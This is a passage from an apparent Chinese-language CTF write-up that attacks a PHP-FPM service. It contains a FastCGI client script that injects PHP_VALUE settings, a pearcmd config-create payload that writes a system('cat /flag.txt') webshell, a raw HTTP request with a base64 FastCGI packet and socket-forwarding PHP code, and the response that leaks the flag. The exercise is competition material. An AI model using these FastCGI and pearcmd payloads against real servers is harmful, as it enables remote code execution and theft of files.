    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => $uri, //url编码后的
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_ADMIN_VALUE' => $php_value,
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9000',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',                  
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code),
    'HTTP_HOST' => '127.0.0.1',        //题目要求本地访问
    'CONTENT_TYPE' => "application/x-www-form-urlencoded",      //调试,表示$_POST有数据
);
echo $client->request($params, $code)."\n";

接下来修改该段,修改$filepath为已经写入命令的文件

<?php
$filepath = "/dev/tarn.php";
//$filepath = "/var/www/html/flag.php";          //调试用
$req = '/' . basename($filepath);
$uri = $req . '?' . '+config-create+/<?=system("cat /flag.txt")?>+/dev/tarn.php';//payload
$client = new FCGIClient("1111", 0);
$code = "<?php system('cat /flag.txt');?>";          //flag.php的post数据,只是看phpinfo是否被修改
$php_value = "auto_prepend_file=/flag.txt";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => $uri, //url编码后的
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_ADMIN_VALUE' => $php_value,
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9000',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',                  
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code),
    'HTTP_HOST' => '127.0.0.1',        //题目要求本地访问
    'CONTENT_TYPE' => "application/x-www-form-urlencoded",      //调试,表示$_POST有数据
);
echo $client->request($params, $code)."\n";

这里通过fpm执行php代码是可以用root权限来访问的,我们直接include是访问不到的,即使用前一个脚本写入php文件后还要修改为上面的后一个脚本得到base64的data再访问才能够得到flag。

payload
POST /?data=AQEAAQAIAAAAAQAAAAAAAAEEAAECYAAAEQtHQVRFV0FZX0lOVEVSRkFDRUZhc3RDR0kvMS4wDgRSRVFVRVNUX01FVEhPRFBPU1QPDVNDUklQVF9GSUxFTkFNRS9kZXYvdGFybi5waHALCVNDUklQVF9OQU1FL3Rhcm4ucGhwDERRVUVSWV9TVFJJTkcvdGFybi5waHA/K2NvbmZpZy1jcmVhdGUrLzw/PXN5c3RlbSgiY2F0IC9mbGFnLnR4dCIpPz4rL2Rldi90YXJuLnBocAtEUkVRVUVTVF9VUkkvdGFybi5waHA/K2NvbmZpZy1jcmVhdGUrLzw/PXN5c3RlbSgiY2F0IC9mbGFnLnR4dCIpPz4rL2Rldi90YXJuLnBocAwJRE9DVU1FTlRfVVJJL3Rhcm4ucGhwDxtQSFBfQURNSU5fVkFMVUVhdXRvX3ByZXBlbmRfZmlsZT0vZmxhZy50eHQJG1BIUF9WQUxVRWF1dG9fcHJlcGVuZF9maWxlPS9mbGFnLnR4dA8NU0VSVkVSX1NPRlRXQVJFODBzZWMvd29mZWl3bwsJUkVNT1RFX0FERFIxMjcuMC4wLjELBFJFTU9URV9QT1JUOTAwMAsJU0VSVkVSX0FERFIxMjcuMC4wLjELAlNFUlZFUl9QT1JUODALCVNFUlZFUl9OQU1FbG9jYWxob3N0DwhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMQ4CQ09OVEVOVF9MRU5HVEgzMgkJSFRUUF9IT1NUMTI3LjAuMC4xDCFDT05URU5UX1RZUEVhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQBBAABAAAAAAEFAAEAIAAAPD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7Pz4BBQABAAAAAA== HTTP/1.1
Host: 65.109.135.249:2000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 494

y=highlight_file(__FILE__);%0A$data%20=%20base64_decode($_GET%5B'data'%5D);%0A$host%20=%20'127.0.0.1';%0A$port%20=%20'9000';%0A$fp%20=%20fsockopen($host,intval($port),$errno,%20$errstr,%2030);%0Aif%20(!$fp)%20%7B%0A%20%20die();%0A%7D%0Aelse%7B%0A%20%20%20%20fwrite($fp,%20$data);%0A%20%20%20%20while%20(!feof($fp))%20%7B%0A%20%20%20%20%20%20%20%20echo%20fgets($fp,%201288);%0A%20%20%20%20%7D%0A%20%20%20%20fclose($fp);%0A%7D%0Asystem(%22/dev/tarn.php%22);%0Ainclude(%22/dev/tarn.php%22);%0A?%3E

得到返回包

HTTP/1.1 200 OK
Server: nginx/1.23.3
Date: Mon, 02 Jan 2023 15:40:49 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/8.2.0
Content-Length: 1958

no pwn 🫠   �  X-Powered-By: PHP/8.2.0
Content-type: text/html; charset=UTF-8

#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
   
         J /pear/php";s:8:"data_dir";s:39:"/ASIS{phphphphphphphphpSegmentationfault}
         
         J /pear/data";s:7:"www_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
         
         I /pear/www";s:7:"cfg_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
          
         I /pear/cfg";s:7:"ext_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
          
         I /pear/ext";s:7:"doc_dir";s:39:"/ASIS{phphphphphphphphpSegmentationfault}
          
         K /pear/docs";s:8:"test_dir";s:40:"/ASIS{phphphphphphphphpSegmentationfault}
        
         M /pear/tests";s:9:"cache_dir";s:40:"/ASIS{phphphphphphphphpSegmentationfault}
      
         Q /pear/cache";s:12:"download_dir";s:43:"/ASIS{phphphphphphphphpSegmentationfault}
          
         O /pear/download";s:8:"temp_dir";s:39:"/ASIS{phphphphphphphphpSegmentationfault}
    
         J /pear/temp";s:7:"bin_dir";s:34:"/ASIS{phphphphphphphphpSegmentationfault}
         
         E /pear";s:7:"man_dir";s:38:"/ASIS{phphphphphphphphpSegmentationfault}
      
         P  /pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}}         :"p#PEAR_Config 0.9
a:13:{s:7:"php_dir";s:38:"//pear/php";s:8:"data_dir";s:39:"//pear/data";s:7:"www_dir";s:38:"//pear/www";s:7:"cfg_dir";s:38:"//pear/cfg";s:7:"ext_dir";s:38:"//pear/ext";s:7:"doc_dir";s:39:"//pear/docs";s:8:"test_dir";s:40:"//pear/tests";s:9:"cache_dir";s:40:"//pear/cache";s:12:"download_dir";s:43:"//pear/download";s:8:"temp_dir";s:39:"//pear/temp";s:7:"bin_dir";s:34:"//pear";s:7:"man_dir";s:38:"//pear/man";s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}}
i said no pwn 😡😡😡

image-20230103005712334

发表评论